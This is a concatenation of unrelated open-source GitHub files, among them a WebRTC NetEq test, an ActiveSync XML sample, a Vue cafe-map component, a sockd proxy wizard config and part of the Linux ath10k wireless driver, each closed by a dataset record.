return encoded_len / 2;
}
void GeneratePlc(size_t requested_samples_per_channel,
rtc::BufferT<int16_t>* concealment_audio) override {
// Must keep a local copy of this since DecodeInternal sets it to false.
const bool last_was_plc = last_was_plc_;
SpeechType speech_type;
std::vector<int16_t> decoded(5760);
int dec_len = DecodeInternal(nullptr, 2 * 20 * sample_rate_hz_ / 1000,
sample_rate_hz_, decoded.data(), &speech_type);
// This fake decoder can only generate 20 ms of PLC data each time. Make
// sure the caller didn't ask for more.
RTC_CHECK_GE(dec_len, requested_samples_per_channel);
concealment_audio->AppendData(decoded.data(), dec_len);
concealed_samples_ += rtc::checked_cast<size_t>(dec_len);
if (!last_was_plc) {
++concealment_events_;
}
last_was_plc_ = true;
}
size_t concealed_samples() { return concealed_samples_; }
size_t concealment_events() { return concealment_events_; }
private:
const std::unique_ptr<InputAudioFile> input_;
const int sample_rate_hz_;
size_t concealed_samples_ = 0;
size_t concealment_events_ = 0;
bool last_was_plc_ = false;
};
// An input sample generator which generates only zero-samples.
class ZeroSampleGenerator : public EncodeNetEqInput::Generator {
public:
rtc::ArrayView<const int16_t> Generate(size_t num_samples) override {
vec.resize(num_samples, 0);
rtc::ArrayView<const int16_t> view(vec);
RTC_DCHECK_EQ(view.size(), num_samples);
return view;
}
private:
std::vector<int16_t> vec;
};
// A NetEqInput which connects to another NetEqInput, but drops a number of
// packets on the way.
class LossyInput : public NetEqInput {
public:
LossyInput(int loss_cadence, std::unique_ptr<NetEqInput> input)
: loss_cadence_(loss_cadence), input_(std::move(input)) {}
absl::optional<int64_t> NextPacketTime() const override {
return input_->NextPacketTime();
}
absl::optional<int64_t> NextOutputEventTime() const override {
return input_->NextOutputEventTime();
}
std::unique_ptr<PacketData> PopPacket() override {
if (loss_cadence_ != 0 && (++count_ % loss_cadence_) == 0) {
// Pop one extra packet to create the loss.
input_->PopPacket();
}
return input_->PopPacket();
}
void AdvanceOutputEvent() override { return input_->AdvanceOutputEvent(); }
bool ended() const override { return input_->ended(); }
absl::optional<RTPHeader> NextHeader() const override {
return input_->NextHeader();
}
private:
const int loss_cadence_;
int count_ = 0;
const std::unique_ptr<NetEqInput> input_;
};
class AudioChecksumWithOutput : public AudioChecksum {
public:
explicit AudioChecksumWithOutput(std::string* output_str)
: output_str_(*output_str) {}
~AudioChecksumWithOutput() { output_str_ = Finish(); }
private:
std::string& output_str_;
};
NetEqNetworkStatistics RunTest(int loss_cadence, std::string* checksum) {
NetEq::Config config;
config.for_test_no_time_stretching = true;
// The input is mostly useless. It sends zero-samples to a PCM16b encoder,
// but the actual encoded samples will never be used by the decoder in the
// test. See below about the decoder.
auto generator = std::make_unique<ZeroSampleGenerator>();
constexpr int kSampleRateHz = 32000;
constexpr int kPayloadType = 100;
AudioEncoderPcm16B::Config encoder_config;
encoder_config.sample_rate_hz = kSampleRateHz;
encoder_config.payload_type = kPayloadType;
auto encoder = std::make_unique<AudioEncoderPcm16B>(encoder_config);
constexpr int kRunTimeMs = 10000;
auto input = std::make_unique<EncodeNetEqInput>(
std::move(generator), std::move(encoder), kRunTimeMs);
// Wrap the input in a loss function.
auto lossy_input =
std::make_unique<LossyInput>(loss_cadence, std::move(input));
// Settinng up decoders.
NetEqTest::DecoderMap decoders;
// Using a fake decoder which simply reads the output audio from a file.
auto input_file = std::make_unique<InputAudioFile>(
webrtc::test::ResourcePath("audio_coding/testfile32kHz", "pcm"));
AudioDecoderPlc dec(std::move(input_file), kSampleRateHz);
// Masquerading as a PCM16b decoder.
decoders.emplace(kPayloadType, SdpAudioFormat("l16", 32000, 1));
// Output is simply a checksum calculator.
auto output = std::make_unique<AudioChecksumWithOutput>(checksum);
// No callback objects.
NetEqTest::Callbacks callbacks;
NetEqTest neteq_test(
config, /*decoder_factory=*/
new rtc::RefCountedObject<test::AudioDecoderProxyFactory>(&dec),
/*codecs=*/decoders, /*text_log=*/nullptr, /*neteq_factory=*/nullptr,
/*input=*/std::move(lossy_input), std::move(output), callbacks);
EXPECT_LE(kRunTimeMs, neteq_test.Run());
auto lifetime_stats = neteq_test.LifetimeStats();
EXPECT_EQ(dec.concealed_samples(), lifetime_stats.concealed_samples);
EXPECT_EQ(dec.concealment_events(), lifetime_stats.concealment_events);
return neteq_test.SimulationStats();
}
} // namespace
TEST(NetEqDecoderPlc, Test) {
std::string checksum;
auto stats = RunTest(10, &checksum);
std::string checksum_no_loss;
auto stats_no_loss = RunTest(0, &checksum_no_loss);
EXPECT_EQ(checksum, checksum_no_loss);
EXPECT_EQ(stats.preemptive_rate, stats_no_loss.preemptive_rate);
EXPECT_EQ(stats.accelerate_rate, stats_no_loss.accelerate_rate);
EXPECT_EQ(0, stats_no_loss.expand_rate);
EXPECT_GT(stats.expand_rate, 0);
}
} // namespace test
} // namespace webrtc
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Search xmlns:airsync="AirSync" xmlns:email="Email" xmlns:airsyncbase="AirSyncBase"
xmlns="Search">
<Status>1</Status>
<Response>
<Store>
<Status>1</Status>
<Result>
<airsync:Class>Email</airsync:Class>
<LongId>RgAAAAAaty%2f%2b4QxHTJOZnIR0P9qkBwA6pk60fqkEQbWH4Wm%2bnjh7AJKAUQo6AAA6pk60fqkEQbWH4Wm
%2bnjh7AJKAURrEAAAJ</LongId>
<airsync:CollectionId>6</airsync:CollectionId>
<Properties>
<email:To>"Chris Gray" <[email protected]></email:To>
<email:From>"Jan Kotas" <[email protected]></email:From>
<email:Subject>Subject</email:Subject>
<email:DateReceived>2007-04-02T19:20:32.000Z</email:DateReceived>
<email:DisplayTo>Chris Gray</email:DisplayTo>
<email:Read>1</email:Read>
<airsyncbase:Body>
<airsyncbase:Type>4</airsyncbase:Type>
<airsyncbase:Preview>The beginning of this message</airsyncbase:Preview>
<airsyncbase:EstimatedDataSize>2288</airsyncbase:EstimatedDataSize>
<airsyncbase:Truncated>1</airsyncbase:Truncated>
<airsyncbase:Data>Received: from 157.55.97.120 ([157.55.97.120]) by
contoso.com ([157.55.97.121]) with Microsoft Exchange Server HTTP-DAV ; Mon, 2 Apr 2007
19:20:32 +0000 From: Jan Kotas <[email protected]> To: Chris Gray <[email protected]>
Content-Class: urn:content-classes:message Date: Mon, 27 Apr 1998 13:05:29 -0700 Subject:
Subject Thread-Topic: Topic Message-ID:
<[email protected]> Accept-Language: en-US X-MS-Has-
Attach: X-MS-TNEF-Correlator: Content-Type: text/plain; charset="iso-8859-1" Content-
Transfer-Encoding: quoted-printable MIME-Version: 1.0
Body12345678901234567890123456789012345678901234567890123456789012345678901=
234567890123456789012345678901234567890123456789012345678901234567890123456=
789012345678901234567890123456789012345678901234567890123456789012345678901=
23456789012345678901234567890123456789012345678901234567890123456789</airsyncbase:Data>
</airsyncbase:Body>
<email:MessageClass>IPM.Note</email:MessageClass>
<email:InternetCPID>28591</email:InternetCPID>
<email:Flag/>
<email:ContentClass>urn:content-classes:message</email:ContentClass>
<airsyncbase:NativeBodyType>1</airsyncbase:NativeBodyType>
</Properties>
</Result>
<Range>0-0</Range>
<Total>1</Total>
</Store>
</Response>
</Search>
| {
"pile_set_name": "Github"
} |
-- ================================================================
-- Setup the table
--
SELECT hll_set_output_version(1);
DROP TABLE IF EXISTS test_qfwzdmoy;
CREATE TABLE test_qfwzdmoy (
recno SERIAL,
seed integer,
pre_hash_long bytea,
post_hash_long bigint
);
\copy test_qfwzdmoy (seed, pre_hash_long, post_hash_long) from sql/data/murmur_bytea.csv with csv header
SELECT COUNT(*) FROM test_qfwzdmoy;
SELECT recno, post_hash_long, hll_hash_bytea(pre_hash_long, seed)
FROM test_qfwzdmoy
WHERE hll_hashval(post_hash_long) != hll_hash_bytea(pre_hash_long, seed)
ORDER BY recno;
DROP TABLE test_qfwzdmoy;
| {
"pile_set_name": "Github"
} |
{
"name": "Dell-KACE-Appliance",
"author": "fofa",
"version": "0.1.0",
"matches": [
{
"search": "headers",
"text": "x-dellkace-"
}
]
} | {
"pile_set_name": "Github"
} |
/**
* @module 1-liners/isNumber
*
* @description
*
* Same as `typeof value === 'number'`. Use [`Number.isFinite`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isFinite) instead if you want to filter out `NaN` and `Infinity`.
*
* @example
*
* const isNumber = require('1-liners/isNumber');
*
* isNumber(1); // => true
* isNumber(3.14); // => true
* isNumber(NaN); // => true
* isNumber(Infinity); // => true
*
* isNumber('3.14'); // => false
* isNumber(/anything else/); // => false
*
*/
export default (value) => typeof value === 'number';
| {
"pile_set_name": "Github"
} |
/*=========================================================================
Program: OsiriX
Copyright (c) OsiriX Team
All rights reserved.
Distributed under GNU - LGPL
See http://www.osirix-viewer.com/copyright.html for details.
This software is distributed WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE.
=========================================================================*/
#import <Foundation/Foundation.h>
#import <CoreMedia/CoreMedia.h>
#import <AVFoundation/AVFoundation.h>
/** \brief QuickTime export */
@interface QuicktimeExport : NSObject
{
id object;
SEL selector;
long numberOfFrames;
unsigned long codec;
long quality;
NSSavePanel *panel;
NSArray *exportTypes;
IBOutlet NSView *view;
IBOutlet NSPopUpButton *type;
}
+ (CVPixelBufferRef) CVPixelBufferFromNSImage:(NSImage *)image;
- (id) initWithSelector:(id) o :(SEL) s :(long) f;
- (NSString*) createMovieQTKit:(BOOL) openIt :(BOOL) produceFiles :(NSString*) name;
- (NSString*) createMovieQTKit:(BOOL) openIt :(BOOL) produceFiles :(NSString*) name :(NSInteger)framesPerSecond;
@end
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : mr.chery ([email protected]) | {
"pile_set_name": "Github"
} |
<?xml version="1.0"?>
<CONFIG>
<ProjectSession>
<PathDelim Value="\"/>
<Version Value="9"/>
<BuildModes Active="Default"/>
<Units Count="2">
<Unit0>
<Filename Value="BIOSInfo.lpr"/>
<IsPartOfProject Value="True"/>
<UnitName Value="BIOSInfo"/>
<IsVisibleTab Value="True"/>
<EditorIndex Value="0"/>
<WindowIndex Value="0"/>
<TopLine Value="35"/>
<CursorPos X="51" Y="47"/>
<UsageCount Value="20"/>
<Loaded Value="True"/>
</Unit0>
<Unit1>
<Filename Value="..\..\Common\uSMBIOS.pas"/>
<IsPartOfProject Value="True"/>
<UnitName Value="uSMBIOS"/>
<UsageCount Value="20"/>
</Unit1>
</Units>
<General>
<ActiveWindowIndexAtStart Value="0"/>
</General>
<JumpHistory Count="6" HistoryIndex="5">
<Position1>
<Filename Value="BIOSInfo.lpr"/>
<Caret Line="10" Column="55" TopLine="4"/>
</Position1>
<Position2>
<Filename Value="BIOSInfo.lpr"/>
<Caret Line="9" Column="20" TopLine="1"/>
</Position2>
<Position3>
<Filename Value="BIOSInfo.lpr"/>
<Caret Line="32" Column="77" TopLine="12"/>
</Position3>
<Position4>
<Filename Value="BIOSInfo.lpr"/>
<Caret Line="29" Column="33" TopLine="7"/>
</Position4>
<Position5>
<Filename Value="BIOSInfo.lpr"/>
<Caret Line="31" Column="33" TopLine="19"/>
</Position5>
<Position6>
<Filename Value="BIOSInfo.lpr"/>
<Caret Line="38" Column="95" TopLine="29"/>
</Position6>
</JumpHistory>
</ProjectSession>
</CONFIG>
| {
"pile_set_name": "Github"
} |
//
// Copyright 2017 The ANGLE Project Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Regardless of the shader type, the following AST transformations are applied:
// - Add declaration of View_ID_OVR.
// - Replace every occurrence of gl_ViewID_OVR with ViewID_OVR, mark ViewID_OVR as internal and
// declare it as a flat varying.
//
// If the shader type is a vertex shader, the following AST transformations are applied:
// - Replace every occurrence of gl_InstanceID with InstanceID, mark InstanceID as internal and set
// its qualifier to EvqTemporary.
// - Add initializers of ViewID_OVR and InstanceID to the beginning of the body of main. The pass
// should be executed before any variables get collected so that usage of gl_InstanceID is recorded.
// - If the output is ESSL or GLSL and the SH_SELECT_VIEW_IN_NV_GLSL_VERTEX_SHADER option is
// enabled, the expression
// "if (multiviewBaseViewLayerIndex < 0) {
// gl_ViewportIndex = int(ViewID_OVR);
// } else {
// gl_Layer = int(ViewID_OVR) + multiviewBaseViewLayerIndex;
// }"
// is added after ViewID and InstanceID are initialized. Also, MultiviewRenderPath is added as a
// uniform.
//
#ifndef COMPILER_TRANSLATOR_TREEOPS_DECLAREANDINITBUILTINSFORINSTANCEDMULTIVIEW_H_
#define COMPILER_TRANSLATOR_TREEOPS_DECLAREANDINITBUILTINSFORINSTANCEDMULTIVIEW_H_
#include "GLSLANG/ShaderLang.h"
#include "angle_gl.h"
#include "common/angleutils.h"
namespace sh
{
class TCompiler;
class TIntermBlock;
class TSymbolTable;
ANGLE_NO_DISCARD bool DeclareAndInitBuiltinsForInstancedMultiview(TCompiler *compiler,
TIntermBlock *root,
unsigned numberOfViews,
GLenum shaderType,
ShCompileOptions compileOptions,
ShShaderOutput shaderOutput,
TSymbolTable *symbolTable);
} // namespace sh
#endif // COMPILER_TRANSLATOR_TREEOPS_DECLAREANDINITBUILTINSFORINSTANCEDMULTIVIEW_H_
| {
"pile_set_name": "Github"
} |
<style lang="scss">
@import '~@/abstracts/_variables.scss';
div#cafe-map-container{
position: absolute;
top: 75px;
left: 0px;
right: 0px;
bottom: 0px;
div#cafe-map{
position: absolute;
top: 0px;
left: 0px;
right: 0px;
bottom: 0px;
}
div.cafe-info-window{
div.cafe-name{
display: block;
text-align: center;
color: $dark-color;
font-family: 'Josefin Sans', sans-serif;
}
div.cafe-address{
display: block;
text-align: center;
margin-top: 5px;
color: $grey;
font-family: 'Lato', sans-serif;
span.street{
font-size: 14px;
display: block;
}
span.city{
font-size: 12px;
}
span.state{
font-size: 12px;
}
span.zip{
font-size: 12px;
display: block;
}
a{
color: $secondary-color;
font-weight: bold;
}
}
}
}
</style>
<template>
<div id="cafe-map-container">
<div id="cafe-map">
</div>
</div>
</template>
<script>
/*
Imports the mixins used by the component.
*/
import { CafeTypeFilter } from '../../mixins/filters/CafeTypeFilter.js';
import { CafeBrewMethodsFilter } from '../../mixins/filters/CafeBrewMethodsFilter.js';
import { CafeTagsFilter } from '../../mixins/filters/CafeTagsFilter.js';
import { CafeTextFilter } from '../../mixins/filters/CafeTextFilter.js';
import { CafeUserLikeFilter } from '../../mixins/filters/CafeUserLikeFilter.js';
import { CafeHasMatchaFilter } from '../../mixins/filters/CafeHasMatchaFilter.js';
import { CafeHasTeaFilter } from '../../mixins/filters/CafeHasTeaFilter.js';
import { CafeSubscriptionFilter } from '../../mixins/filters/CafeSubscriptionFilter.js';
import { CafeInCityFilter } from '../../mixins/filters/CafeInCityFilter.js';
/*
Imports the Event Bus to pass updates.
*/
import { EventBus } from '../../event-bus.js';
export default {
/*
Defines the properties used by the component.
*/
props: {
'latitude': {
type: Number,
default: function(){
return 39.50
}
},
'longitude': {
type: Number,
default: function(){
return -98.35
}
},
'zoom': {
type: Number,
default: function(){
return 5
}
}
},
/*
Defines the mixins used by the component.
*/
mixins: [
CafeTypeFilter,
CafeBrewMethodsFilter,
CafeTagsFilter,
CafeTextFilter,
CafeUserLikeFilter,
CafeHasMatchaFilter,
CafeHasTeaFilter,
CafeSubscriptionFilter,
CafeInCityFilter
],
/*
Defines the computed properties used by the component.
*/
computed: {
/*
Gets the cafes
*/
cafes(){
return this.$store.getters.getCafes;
},
/*
Gets the city from the Vuex store.
*/
city(){
return this.$store.getters.getCity;
},
/*
Gets the city filter from the Vuex store.
*/
cityFilter(){
return this.$store.getters.getCityFilter;
},
/*
Grabs the text search filter.
*/
textSearch(){
return this.$store.getters.getTextSearch;
},
/*
Grabs the active location filter
*/
activeLocationFilter(){
return this.$store.getters.getActiveLocationFilter;
},
/*
Grabs the only liked filter.
*/
onlyLiked(){
return this.$store.getters.getOnlyLiked;
},
/*
Grabs the brew methods filter.
*/
brewMethodsFilter(){
return this.$store.getters.getBrewMethodsFilter;
},
/*
Grabs the has matcha filter
*/
hasMatcha(){
return this.$store.getters.getHasMatcha;
},
/*
Grabs the has tea filter
*/
hasTea(){
return this.$store.getters.getHasTea;
},
/*
Grabs the has subscription filter
*/
hasSubscription(){
return this.$store.getters.getHasSubscription;
},
/*
Grabs the previous lat
*/
previousLat(){
return this.$store.getters.getLat;
},
/*
Grabs the previous lng
*/
previousLng(){
return this.$store.getters.getLng;
},
/*
Grabs the previous zoom
*/
previousZoom(){
return this.$store.getters.getZoomLevel;
}
},
/*
Defines the watched variables on the component.
*/
watch: {
/*
When the route changes from an individual cafe to all of the cafes,
check if a previous lat and lng are set and go back to where the user
was located.
*/
'$route' (to, from) {
if( to.name == 'cafes' && from.name == 'cafe' ){
if( this.previousLat != 0.0 && this.previousLng != 0.0 && this.previousZoom != '' ){
var latLng = new google.maps.LatLng( this.previousLat, this.previousLng );
this.$map.setZoom( this.previousZoom );
this.$map.panTo( latLng );
}
}
},
/*
Watches the cafes. When they are updated, clear the markers
and re build them. We also process existing filters.
*/
cafes(){
this.clearMarkers();
this.buildMarkers();
this.processFilters();
},
/*
Watch the city filter
*/
cityFilter(){
this.processFilters();
},
/*
When the text input changes, process the filters.
*/
textSearch(){
this.processFilters();
},
/*
When the active location filter changes, process the
filters.
*/
activeLocationFilter(){
this.processFilters();
},
/*
When the only liked changes, process the filters.
*/
onlyLiked(){
this.processFilters();
},
/*
When the brew methods change, process the filters.
*/
brewMethodsFilter(){
this.processFilters();
},
/*
When the has matcha changes, process the filters.
*/
hasMatcha(){
this.processFilters();
},
/*
When the has tea changes, process the filters.
*/
hasTea(){
this.processFilters();
},
/*
When the has subscription changes, process the filters.
*/
hasSubscription(){
this.processFilters();
}
},
/*
Handles the mounted lifecycle hook.
*/
mounted(){
/*
Initializes the local markers array. This is not a reactive variable.
*/
this.$markers = [];
/*
Initializes the local map variable. This is not reactive variable
*/
this.$map = new google.maps.Map(document.getElementById('cafe-map'), {
center: {lat: this.latitude, lng: this.longitude},
zoom: this.zoom,
fullscreenControl: false,
mapTypeControl: false
});
/*
Clear and re-build the markers
*/
this.clearMarkers();
this.buildMarkers();
/*
Listen to the location-selected event to zoom into the appropriate
cafe.
*/
EventBus.$on('location-selected', function( cafe ){
var latLng = new google.maps.LatLng( cafe.lat, cafe.lng );
this.$map.setZoom( 17 );
this.$map.panTo(latLng);
}.bind(this));
/*
Listen to the location-selected event to zoom into the appropriate
cafe.
*/
EventBus.$on('city-selected', function( city ){
var latLng = new google.maps.LatLng( city.lat, city.lng );
this.$map.setZoom( 11 );
this.$map.panTo(latLng);
}.bind(this));
},
/*
Defines the methods used by the component.
*/
methods: {
/*
Process filters on the map selected by the user.
*/
processFilters(){
for( var i = 0; i < this.$markers.length; i++ ){
if( this.textSearch == ''
&& this.activeLocationFilter == 'all'
&& this.brewMethodsFilter.length == 0
&& !this.onlyLiked
&& !this.hasMatcha
&& !this.hasTea
&& !this.hasSubscription
&& this.cityFilter == '' ){
this.$markers[i].setMap( this.$map );
}else{
/*
Initialize flags for the filtering
*/
var textPassed = false;
var brewMethodsPassed = false;
var typePassed = false;
var likedPassed = false;
var matchaPassed = false;
var teaPassed = false;
var subscriptionPassed = false;
var cityPassed = false;
/*
Check if the roaster passes
*/
if( this.processCafeTypeFilter( this.$markers[i].cafe, this.activeLocationFilter) ){
typePassed = true;
}
/*
Check if text passes
*/
if( this.textSearch != '' && this.processCafeTextFilter( this.$markers[i].cafe, this.textSearch ) ){
textPassed = true;
}else if( this.textSearch == '' ){
textPassed = true;
}
/*
Check if brew methods passes
*/
if( this.brewMethodsFilter.length != 0 && this.processCafeBrewMethodsFilter( this.$markers[i].cafe, this.brewMethodsFilter ) ){
brewMethodsPassed = true;
}else if( this.brewMethodsFilter.length == 0 ){
brewMethodsPassed = true;
}
/*
Check if liked passes
*/
if( this.onlyLiked && this.processCafeUserLikeFilter( this.$markers[i].cafe ) ){
likedPassed = true;
}else if( !this.onlyLiked ){
likedPassed = true;
}
/*
Checks if the cafe passes matcha filter
*/
if( this.hasMatcha && this.processCafeHasMatchaFilter( this.$markers[i].cafe ) ){
matchaPassed = true;
}else if( !this.hasMatcha ){
matchaPassed = true;
}
/*
Checks if the cafe passes the tea filter
*/
if( this.hasTea && this.processCafeHasTeaFilter( this.$markers[i].cafe ) ){
teaPassed = true;
}else if( !this.hasTea ){
teaPassed = true;
}
/*
Checks to see if the subscription filter works.
*/
if( this.hasSubscription && this.processCafeSubscriptionFilter( this.$markers[i].cafe ) ){
subscriptionPassed = true;
}else if( !this.hasSubscription ){
subscriptionPassed = true;
}
/*
Checks to see if the city passed or not.
*/
if( this.cityFilter != '' && this.processCafeInCityFilter( this.$markers[i].cafe, this.cityFilter ) ){
cityPassed = true;
}else if( this.cityFilter == '' ){
cityPassed = true;
}
/*
If everything passes, then we show the Cafe Marker
*/
if( typePassed && textPassed && brewMethodsPassed && likedPassed && matchaPassed && teaPassed && subscriptionPassed && cityPassed ){
this.$markers[i].setMap( this.$map );
}else{
this.$markers[i].setMap( null );
}
}
}
},
/*
Clears the markers from the map.
*/
clearMarkers(){
/*
Iterate over all of the markers and set the map
to null so they disappear.
*/
for( var i = 0; i < this.$markers.length; i++ ){
this.$markers[i].setMap( null );
}
},
/*
Builds all of the markers for the cafes
*/
buildMarkers(){
/*
Initialize the markers to an empty array.
*/
this.$markers = [];
/*
Iterate over all of the cafes
*/
for( var i = 0; i < this.cafes.length; i++ ){
/*
Create the marker for each of the cafes and set the
latitude and longitude to the latitude and longitude
of the cafe. Also set the map to be the local map.
*/
if( this.cafes[i].company.roaster == 1 ){
var image = '/img/roaster-marker.svg';
}else{
var image = '/img/cafe-marker.svg';
}
/*
If the cafe has a lat and lng, create a marker object and
show it on the map.
*/
if( this.cafes[i].latitude != null ){
/*
Create a new marker object.
*/
var marker = new google.maps.Marker({
position: { lat: parseFloat( this.cafes[i].latitude ), lng: parseFloat( this.cafes[i].longitude ) },
map: this.$map,
icon: image,
cafe: this.cafes[i]
});
/*
Localize the global router variable so when clicked, we go
to the cafe and the store so we can dispatch the current locations.
*/
let router = this.$router;
let store = this.$store;
marker.addListener('click', function() {
let center = this.map.getCenter();
store.dispatch( 'applyZoomLevel', this.map.getZoom() );
store.dispatch( 'applyLat', center.lat() );
store.dispatch( 'applyLng', center.lng() );
router.push( { name: 'cafe', params: { slug: this.cafe.slug } } );
});
/*
Push the new marker on to the array.
*/
this.$markers.push( marker );
}
}
}
}
}
</script>
| {
"pile_set_name": "Github"
} |
[{
"step_title": "Sockd configuration",
"items": [{
"type": "textfield",
"subitems": [{
"key": "wizard_proxy_port",
"desc": "Proxy port",
"defaultValue": "1080",
"validator": {
"allowBlank": false,
"regex": {
"expr": "/^[1-9][0-9]{2,4}$/",
"errorText": "Port must be in range 100-65535"
}
}
}]
}, {
"type": "textfield",
"desc": "Prevent access to local network through proxy",
"subitems": [{
"key": "wizard_proxy_block",
"desc": "Local network",
"defaultValue": "192.168.0.0/16",
"validator": {
"allowBlank": false,
"regex": {
"expr": "/^(([1-9]?\\d|1\\d\\d|2[0-5][0-5]|2[0-4]\\d)\\.){3}0\\\/[1-9]\\d{1}$/",
"errorText": "Network must be in format 192.168.0.0/16"
}
}
}]
}, {
"type": "multiselect",
"desc": "If authentification required, only users from group <code>'sockd-users'</code> will have access to proxy",
"subitems": [{
"key": "wizard_proxy_auth",
"desc": "Authentification required",
"defaultValue": true
}]
}]
}]
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2005-2011 Atheros Communications Inc.
* Copyright (c) 2011-2013 Qualcomm Atheros, Inc.
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "core.h"
#include "hif.h"
#include "debug.h"
/********/
/* Send */
/********/
static void ath10k_htc_control_tx_complete(struct ath10k *ar,
struct sk_buff *skb)
{
kfree_skb(skb);
}
static struct sk_buff *ath10k_htc_build_tx_ctrl_skb(void *ar)
{
struct sk_buff *skb;
struct ath10k_skb_cb *skb_cb;
skb = dev_alloc_skb(ATH10K_HTC_CONTROL_BUFFER_SIZE);
if (!skb)
return NULL;
skb_reserve(skb, 20); /* FIXME: why 20 bytes? */
WARN_ONCE((unsigned long)skb->data & 3, "unaligned skb");
skb_cb = ATH10K_SKB_CB(skb);
memset(skb_cb, 0, sizeof(*skb_cb));
ath10k_dbg(ar, ATH10K_DBG_HTC, "%s: skb %pK\n", __func__, skb);
return skb;
}
static inline void ath10k_htc_restore_tx_skb(struct ath10k_htc *htc,
struct sk_buff *skb)
{
struct ath10k_skb_cb *skb_cb = ATH10K_SKB_CB(skb);
dma_unmap_single(htc->ar->dev, skb_cb->paddr, skb->len, DMA_TO_DEVICE);
skb_pull(skb, sizeof(struct ath10k_htc_hdr));
}
void ath10k_htc_notify_tx_completion(struct ath10k_htc_ep *ep,
struct sk_buff *skb)
{
struct ath10k *ar = ep->htc->ar;
ath10k_dbg(ar, ATH10K_DBG_HTC, "%s: ep %d skb %pK\n", __func__,
ep->eid, skb);
ath10k_htc_restore_tx_skb(ep->htc, skb);
if (!ep->ep_ops.ep_tx_complete) {
ath10k_warn(ar, "no tx handler for eid %d\n", ep->eid);
dev_kfree_skb_any(skb);
return;
}
ep->ep_ops.ep_tx_complete(ep->htc->ar, skb);
}
EXPORT_SYMBOL(ath10k_htc_notify_tx_completion);
static void ath10k_htc_prepare_tx_skb(struct ath10k_htc_ep *ep,
struct sk_buff *skb)
{
struct ath10k_htc_hdr *hdr;
hdr = (struct ath10k_htc_hdr *)skb->data;
hdr->eid = ep->eid;
hdr->len = __cpu_to_le16(skb->len - sizeof(*hdr));
hdr->flags = 0;
hdr->flags |= ATH10K_HTC_FLAG_NEED_CREDIT_UPDATE;
spin_lock_bh(&ep->htc->tx_lock);
hdr->seq_no = ep->seq_no++;
spin_unlock_bh(&ep->htc->tx_lock);
}
int ath10k_htc_send(struct ath10k_htc *htc,
enum ath10k_htc_ep_id eid,
struct sk_buff *skb)
{
struct ath10k *ar = htc->ar;
struct ath10k_htc_ep *ep = &htc->endpoint[eid];
struct ath10k_skb_cb *skb_cb = ATH10K_SKB_CB(skb);
struct ath10k_hif_sg_item sg_item;
struct device *dev = htc->ar->dev;
int credits = 0;
int ret;
if (htc->ar->state == ATH10K_STATE_WEDGED)
return -ECOMM;
if (eid >= ATH10K_HTC_EP_COUNT) {
ath10k_warn(ar, "Invalid endpoint id: %d\n", eid);
return -ENOENT;
}
skb_push(skb, sizeof(struct ath10k_htc_hdr));
if (ep->tx_credit_flow_enabled) {
credits = DIV_ROUND_UP(skb->len, htc->target_credit_size);
spin_lock_bh(&htc->tx_lock);
if (ep->tx_credits < credits) {
ath10k_dbg(ar, ATH10K_DBG_HTC,
"htc insufficient credits ep %d required %d available %d\n",
eid, credits, ep->tx_credits);
spin_unlock_bh(&htc->tx_lock);
ret = -EAGAIN;
goto err_pull;
}
ep->tx_credits -= credits;
ath10k_dbg(ar, ATH10K_DBG_HTC,
"htc ep %d consumed %d credits (total %d)\n",
eid, credits, ep->tx_credits);
spin_unlock_bh(&htc->tx_lock);
}
ath10k_htc_prepare_tx_skb(ep, skb);
skb_cb->eid = eid;
skb_cb->paddr = dma_map_single(dev, skb->data, skb->len, DMA_TO_DEVICE);
ret = dma_mapping_error(dev, skb_cb->paddr);
if (ret) {
ret = -EIO;
goto err_credits;
}
sg_item.transfer_id = ep->eid;
sg_item.transfer_context = skb;
sg_item.vaddr = skb->data;
sg_item.paddr = skb_cb->paddr;
sg_item.len = skb->len;
ret = ath10k_hif_tx_sg(htc->ar, ep->ul_pipe_id, &sg_item, 1);
if (ret)
goto err_unmap;
return 0;
err_unmap:
dma_unmap_single(dev, skb_cb->paddr, skb->len, DMA_TO_DEVICE);
err_credits:
if (ep->tx_credit_flow_enabled) {
spin_lock_bh(&htc->tx_lock);
ep->tx_credits += credits;
ath10k_dbg(ar, ATH10K_DBG_HTC,
"htc ep %d reverted %d credits back (total %d)\n",
eid, credits, ep->tx_credits);
spin_unlock_bh(&htc->tx_lock);
if (ep->ep_ops.ep_tx_credits)
ep->ep_ops.ep_tx_credits(htc->ar);
}
err_pull:
skb_pull(skb, sizeof(struct ath10k_htc_hdr));
return ret;
}
void ath10k_htc_tx_completion_handler(struct ath10k *ar, struct sk_buff *skb)
{
struct ath10k_htc *htc = &ar->htc;
struct ath10k_skb_cb *skb_cb;
struct ath10k_htc_ep *ep;
if (WARN_ON_ONCE(!skb))
return;
skb_cb = ATH10K_SKB_CB(skb);
ep = &htc->endpoint[skb_cb->eid];
ath10k_htc_notify_tx_completion(ep, skb);
/* the skb now belongs to the completion handler */
}
EXPORT_SYMBOL(ath10k_htc_tx_completion_handler);
/***********/
/* Receive */
/***********/
static void
ath10k_htc_process_credit_report(struct ath10k_htc *htc,
const struct ath10k_htc_credit_report *report,
int len,
enum ath10k_htc_ep_id eid)
{
struct ath10k *ar = htc->ar;
struct ath10k_htc_ep *ep;
int i, n_reports;
if (len % sizeof(*report))
